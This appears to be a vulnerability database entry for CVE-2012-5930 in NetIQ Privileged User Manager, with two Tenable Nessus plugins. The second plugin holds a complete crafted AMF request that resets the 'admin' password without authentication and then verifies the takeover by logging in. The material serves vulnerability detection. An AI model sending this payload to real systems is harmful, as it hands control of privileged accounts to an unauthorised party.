Vulnerabilities > CVE-2012-5930 - Improper Authentication vulnerability in Microfocus Privileged User Manager 2.3.0/2.3.1

047910
CVSS 6.4 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
microfocus
CWE-287
nessus
NVD
Published: 2012-12-24
Updated: 2021-04-13

Summary

The pa_modify_accounts function in auth.dll in unifid.exe in NetIQ Privileged User Manager 2.3.x before 2.3.1 HF2 does not require authentication for the modifyAccounts method, which allows remote attackers to change the passwords of administrative accounts via a crafted application/x-amf request.

Vulnerable Configurations

Part Description Count
Application
Microfocus
2

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Authentication Abuse
    An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker. This attack may exploit assumptions made by the target's authentication procedures, such as assumptions regarding trust relationships or assumptions regarding the generation of secret values. This attack differs from Authentication Bypass attacks in that Authentication Abuse allows the attacker to be certified as a valid user through illegitimate means, while Authentication Bypass allows the user to access protected material without ever being certified as an authenticated user. This attack does not rely on prior sessions established by successfully authenticating users, as relied upon for the "Exploitation of Session Variables, Resource IDs and other Trusted Credentials" attack patterns.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Utilizing REST's Trust in the System Resource to Register Man in the Middle
    This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to place man in the middle once SSL is terminated. Rest applications premise is that they leverage existing infrastructure to deliver web services functionality. An example of this is a Rest application that uses HTTP Get methods and receives a HTTP response with an XML document. These Rest style web services are deployed on existing infrastructure such as Apache and IIS web servers with no SOAP stack required. Unfortunately from a security standpoint, there frequently is no interoperable identity security mechanism deployed, so Rest developers often fall back to SSL to deliver security. In large data centers, SSL is typically terminated at the edge of the network - at the firewall, load balancer, or router. Once the SSL is terminated the HTTP request is in the clear (unless developers have hashed or encrypted the values, but this is rare). The attacker can utilize a sniffer such as Wireshark to snapshot the credentials, such as username and password that are passed in the clear once SSL is terminated. Once the attacker gathers these credentials, they can submit requests to the web service provider just as authorized user do. There is not typically an authentication on the client side, beyond what is passed in the request itself so once this is compromised, then this is generally sufficient to compromise the service's authentication scheme.
  • Man in the Middle Attack
    This type of attack targets the communication between two components (typically client and server). The attacker places himself in the communication channel between the two components. Whenever one component attempts to communicate with the other (data flow, authentication challenges, etc.), the data first goes to the attacker, who has the opportunity to observe or alter it, and it is then passed on to the other component as if it was never intercepted. This interposition is transparent leaving the two compromised components unaware of the potential corruption or leakage of their communications. The potential for Man-in-the-Middle attacks yields an implicit lack of trust in communication or identify between two components.

Nessus

  • NASL familyCGI abuses
    NASL idNETIQ_PUM_PASSWD_CHANGE1.NASL
    descriptionAccording to the self-reported version of the NetIQ Privileged User Manager
    last seen2020-06-01
    modified2020-06-02
    plugin id63186
    published2012-12-07
    reporterThis script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/63186
    titleNetIQ Privileged User Manager Password Change Authentication Bypass (version check)
    code
    #
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(63186);
  script_version("1.10");
  script_cvs_date("Date: 2019/12/04");

  script_cve_id("CVE-2012-5930");
  script_bugtraq_id(56535);
  script_xref(name:"EDB-ID", value:"22737");

  script_name(english:"NetIQ Privileged User Manager Password Change Authentication Bypass (version check)");
  script_summary(english:"Checks the version of the 'auth' package.");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is running a web application that is affected by an
authentication bypass vulnerability.");
  script_set_attribute(attribute:"description", value:
"According to the self-reported version of the NetIQ Privileged User
Manager 'auth' package, the password for the 'admin' user of the NetIQ
Privileged User Manager web application can be modified without
authenticating via a specially crafted POST request. 

Note that Nessus did not check for the presence of a workaround.");
  script_set_attribute(attribute:"see_also", value:"http://retrogod.altervista.org/9sg_novell_netiq_i_adv.htm");
  script_set_attribute(attribute:"see_also", value:"https://support.microfocus.com/kb/doc.php?id=7011385");
  script_set_attribute(attribute:"solution", value:
"Apply NetIQ Privileged User Manager 2.3.1 HF2 (2.3.1-2) or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-5930");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Novell NetIQ 2.3.1 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/11/15");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/11/20");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/12/07");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:netiq:privileged_user_manager");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("netiq_pum_detect.nasl");
  script_require_keys("www/netiq_pum");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80, 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

report = '';

# app runs on port 443 by default, but can be configured to run on port 80
port = get_http_port(default:80);

appname = "NetIQ Privileged User Manager";
kb_appname = "netiq_pum";

install = get_install_from_kb(appname:kb_appname, port:port, exit_on_fail:TRUE);
dir = install['dir'];

component = 'Admin Interface Package';
 
raw_version = install['ver'];
version = install['ver'];

hf_level = 0;

if ('-' >< version)
{
  item = eregmatch(pattern:"^([0-9.]+)-([0-9]+)$", string:version);
  if (isnull(item)) exit(1, 'Unable to extract hotfix information from version string.');

  hf_level = item[2];
  version = item[1];
}

if (
  ver_compare(ver:version, fix:"2.3.1", strict:FALSE) == -1 ||
  (version == "2.3.1" && hf_level < 1)
)
{
  report = '\n  URL               : ' + build_url(qs:dir, port:port) +  
           '\n  Installed version : ' + version +
           '\n  Fixed version     : 2.3.1-2\n'; 
} 
# may have been patched, check individual package 
else if (version == "2.3.1" && hf_level == 1)
{
  # check if individual packages has been updated
  pkg_version = get_kb_item_or_exit("www/" + port + "/" + kb_appname + "/packages/access_manager");
  fix = "2.3.1.2";
  
  temp_arr = split(pkg_version, sep:'.' , keep:FALSE); 
  if (max_index(temp_arr) > 4 || max_index(temp_arr) < 3) exit(1, 'Version information is an unexpected length.\n');
  
  pkg_str_version = temp_arr[0] + '.' + temp_arr[1] + '.' + temp_arr[2];
  if (max_index(temp_arr) == 4) pkg_str_version += ('-' + temp_arr[3]);
 
  # for audit trail
  raw_version = pkg_str_version;
  component = 'Access Manager Package';

  if (
    version =~ "^2\.3\." &&
    ver_compare(ver:pkg_version, fix:fix, strict:FALSE) == -1
  )
  {
      report = '\n  URL               : ' + build_url(qs:dir, port:port) +  
               '\n  Installed version : ' + pkg_str_version +
               '\n  Fixed version     : 2.3.1-2\n';
  }
}

if (report != '')
{    
  if (report_verbosity > 0) security_warning(port:port, extra:report);
  else security_warning(port);
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname + ' (' + component + ')', build_url(qs:dir, port:port), raw_version);
  • NASL familyCGI abuses
    NASL idNETIQ_PUM_PASSWD_CHANGE.NASL
    descriptionNessus was able to change the password for the
    last seen2020-06-01
    modified2020-06-02
    plugin id62991
    published2012-11-21
    reporterThis script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/62991
    titleNetIQ Privileged User Manager Password Change Authentication Bypass (intrusive check)
    code
    #
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(62991);
  script_version("1.14");
  script_cvs_date("Date: 2019/12/04");

  script_cve_id("CVE-2012-5930");
  script_bugtraq_id(56535);
  script_xref(name:"EDB-ID", value:"22737");

  script_name(english:"NetIQ Privileged User Manager Password Change Authentication Bypass (intrusive check)");
  script_summary(english:"Tries to change password for 'admin' user");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is running a web application affected by an
authentication bypass vulnerability.");
  script_set_attribute(attribute:"description", value:
"Nessus was able to change the password for the 'admin' user of the
NetIQ Privileged User Manager web application without authenticating,
via a specially crafted POST request.");
  script_set_attribute(attribute:"see_also", value:"http://retrogod.altervista.org/9sg_novell_netiq_i_adv.htm");
  script_set_attribute(attribute:"see_also", value:"https://support.microfocus.com/kb/doc.php?id=7011385");
  script_set_attribute(attribute:"solution", value:
"Apply NetIQ Privileged User Manager 2.3.1 HF2 (2.3.1-2) or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-5930");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Novell NetIQ 2.3.1 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/11/15");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/11/20");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/11/21");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:netiq:privileged_user_manager");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("netiq_pum_detect.nasl", "netiq_pum_default_password.nasl");
  script_require_keys("www/netiq_pum");
  script_exclude_keys("Settings/disable_cgi_scanning", "global_settings/supplied_logins_only");
  script_require_ports("Services/www", 80, 443);

  exit(0);
}

include("audit.inc");
include("byte_func.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

# app runs on port 443 by default, but can be configured to run on port 80
port = get_http_port(default:80);

appname = "NetIQ Privileged User Manager";
kb_appname = "netiq_pum";

install = get_install_from_kb(appname:kb_appname, port:port, exit_on_fail:TRUE);
dir = install['dir'];

# the API doesn't enforce any password policy constraints
new_password = rand_str(length:16, charset:"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"); 

# Password change request
# AMF encoded data
postdata =
  raw_string(0x00,0x00,0x00,0x00,0x00,0x01,
             0x00,0x13) + # len 
  "SPF.Util.callMaster" + 
  raw_string(0x00,0x04,0x2f,0x32,0x36,0x32,0x00,0x00,0x02,0x98,0x0a,0x00,0x00,0x00,0x01,
             0x03, # obj
             0x00,0x06) + # len
  "method" +
  raw_string(0x02, # str
             0x00,0x0e) + # len
  "modifyAccounts" +
  raw_string(0x00,0x06) + # len
  "module" + 
  raw_string(0x02, # str
             0x00,0x04) + # len
  "auth" + 
  raw_string(0x00,0x04) + # len
  "User" + 
  raw_string(0x03, # obj
             0x00,0x04) + # len

  "name" +
  raw_string(0x02, # str
             0x00,0x05) + # len
  "admin" +
  raw_string(0x00,0x09) + # len
  "ACT_SUPER" +
  raw_string(0x03, # obj
             0x00,0x05) + # len
  "value" +
  raw_string(0x00,0x3f,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,
             0x00,0x06) + # len
  "action" +
  raw_string(0x02, # str
             0x00,0x03) + # len
  "set" + 
  raw_string(0x00,0x00,0x09, # end obj
             0x00,0x0b) + # len
  "ACT_COMMENT" +     
  raw_string(0x03, # obj
             0x00,0x05) + # len
  "value" + 
  raw_string(0x02, # str
             0x00,0x04) + # len
  "asdd" +
  raw_string(0x00,0x06) + # len
  "action" +  
  raw_string(0x02, # str
             0x00,0x03) + # len
  "set" + 
  raw_string(0x00,0x00,0x09, # end obj
             0x00,0x0a) + # len
  "ACT_PASSWD" + 
  raw_string(0x03, # obj
             0x00,0x05) + # len
  "value" + 
  raw_string(0x02) + # str
  mkword(strlen(new_password)) +
  new_password +
  raw_string(0x00,0x06) + # len
  "action" +  
  raw_string(0x02, # str
             0x00,0x03) + # len
  "set" + 
  raw_string(0x00,0x00,0x09, # end obj
             0x00,0x08) + # len
  "ACT_DESC" +
  raw_string(0x03, # obj
             0x00,0x05) + # len
  "value" +
  raw_string(0x02, # str
             0x00,0x03) + # len
  "sds" +     
  raw_string(0x00,0x06) + # len
  "action" +
  raw_string(0x02, # str
             0x00,0x03) + # len
  "set" + 
  raw_string(0x00,0x00,0x09, # end obj
             0x00,0x00,0x09, # end obj
             0x00,0x03) + # len
  "uid" + 
  raw_string(0x06,
             0x00,0x00,0x09); # end obj

res = http_send_recv3(
  method:'POST',
  item: dir + '/',
  port:port,
  add_headers:make_array(
    'Content-Type', 'application/x-amf', # required
    'x-flash-version', '11,4,402,278'
  ),
  data:postdata, 
  exit_on_fail:TRUE
);

# login to see if password change successful
# AMF encoded data
postdata=
  raw_string(0x00,0x00,0x00,0x00,0x00,0x01,
             0x00,0x15) + # len
  "SPF.Util.callModuleEx" + 
  raw_string(0x00,0x02,0x2f,0x34,0x00,0x00,0x00,0x65,0x0a,0x00,0x00,0x00,0x01,
             0x03, # obj
             0x00,0x03) + # len
  "pkt" +
  raw_string(0x03, # obj
             0x00,0x0b) + # len
  "Credentials" +
  raw_string(0x03, # obj
             0x00, 0x04) + # len
  "name" + 
  raw_string(0x02, # str 
             0x00,0x05) + # len
  "admin" + 
  raw_string(0x00,0x06) + # len
  "passwd" +
  raw_string(0x02) + # str
  mkword(strlen(new_password)) +
  new_password +
  raw_string(0x00,0x00,0x09, # end obj
             0x00,0x06) + # len
  "method" +  
  raw_string(0x02, # str
             0x00,0x05) + # len
  "login" +
  raw_string(0x00,0x06) + # len
  "module" +
  raw_string(0x02, # str
             0x00,0x04) + # len
  "auth" +
  raw_string(0x00,0x03) + # len
  "uid" +
  raw_string(0x06,
             0x00,0x00,0x09, # end obj
             0x00,0x00,0x09); # end obj

res = http_send_recv3(
  method:'POST',
  item: dir + '/',
  port:port,
  add_headers:make_array(
    'Content-Type', 'application/x-amf', # required
    'x-flash-version', '11,4,402,278'
  ),
  data:postdata, 
  exit_on_fail:TRUE
);

# try to parse out login message
msg = NULL;
msg_search = raw_string(
               0x00, 0x07, # length
               0x6d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, # "message"
               0x02 # string is next
             );

pos = stridx(res[2], msg_search);
if (msg_search >< res[2] && pos >= 0)
{
  len = getword(blob:res[2], pos:pos+strlen(msg_search));
  if (len == NULL) exit(1, "The response from port "+port+" is not long enough to contain the length of the message string.");

  if (strlen(res[2]) <  pos + strlen(msg_search) + 2 + len) exit(1, "The response from port "+port+" is not long enough to contain the message string.");

  msg = substr(res[2], pos + strlen(msg_search) + 2, pos + strlen(msg_search) + 2 + len - 1);  
}

if (
  !isnull(msg) &&
  (
    'successfully authenticated' >< msg ||
    'Password has expired' >< msg
  ) &&
  'Invalid user name or password' >!< msg
)
{
  if (report_verbosity > 0)
  {
    report = '\nNessus was able to change the login credentials for the \'admin\' user : \n\n' +
    '  New Password : ' + new_password + '\n';
    security_warning(port:port, extra:report);
  }
  else security_warning(port);
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, build_url(qs:dir, port:port));

References